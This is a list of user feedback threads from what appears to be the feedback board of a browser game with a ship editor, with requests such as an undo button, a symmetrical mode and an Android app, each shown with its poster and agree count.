  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  579 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  579 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  567 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  558 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  553 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  523 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  506 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  498 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  496 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  490 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  483 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  479 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  477 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  470 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  468 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  465 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  462 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  461 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  442 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  434 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  432 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  420 agree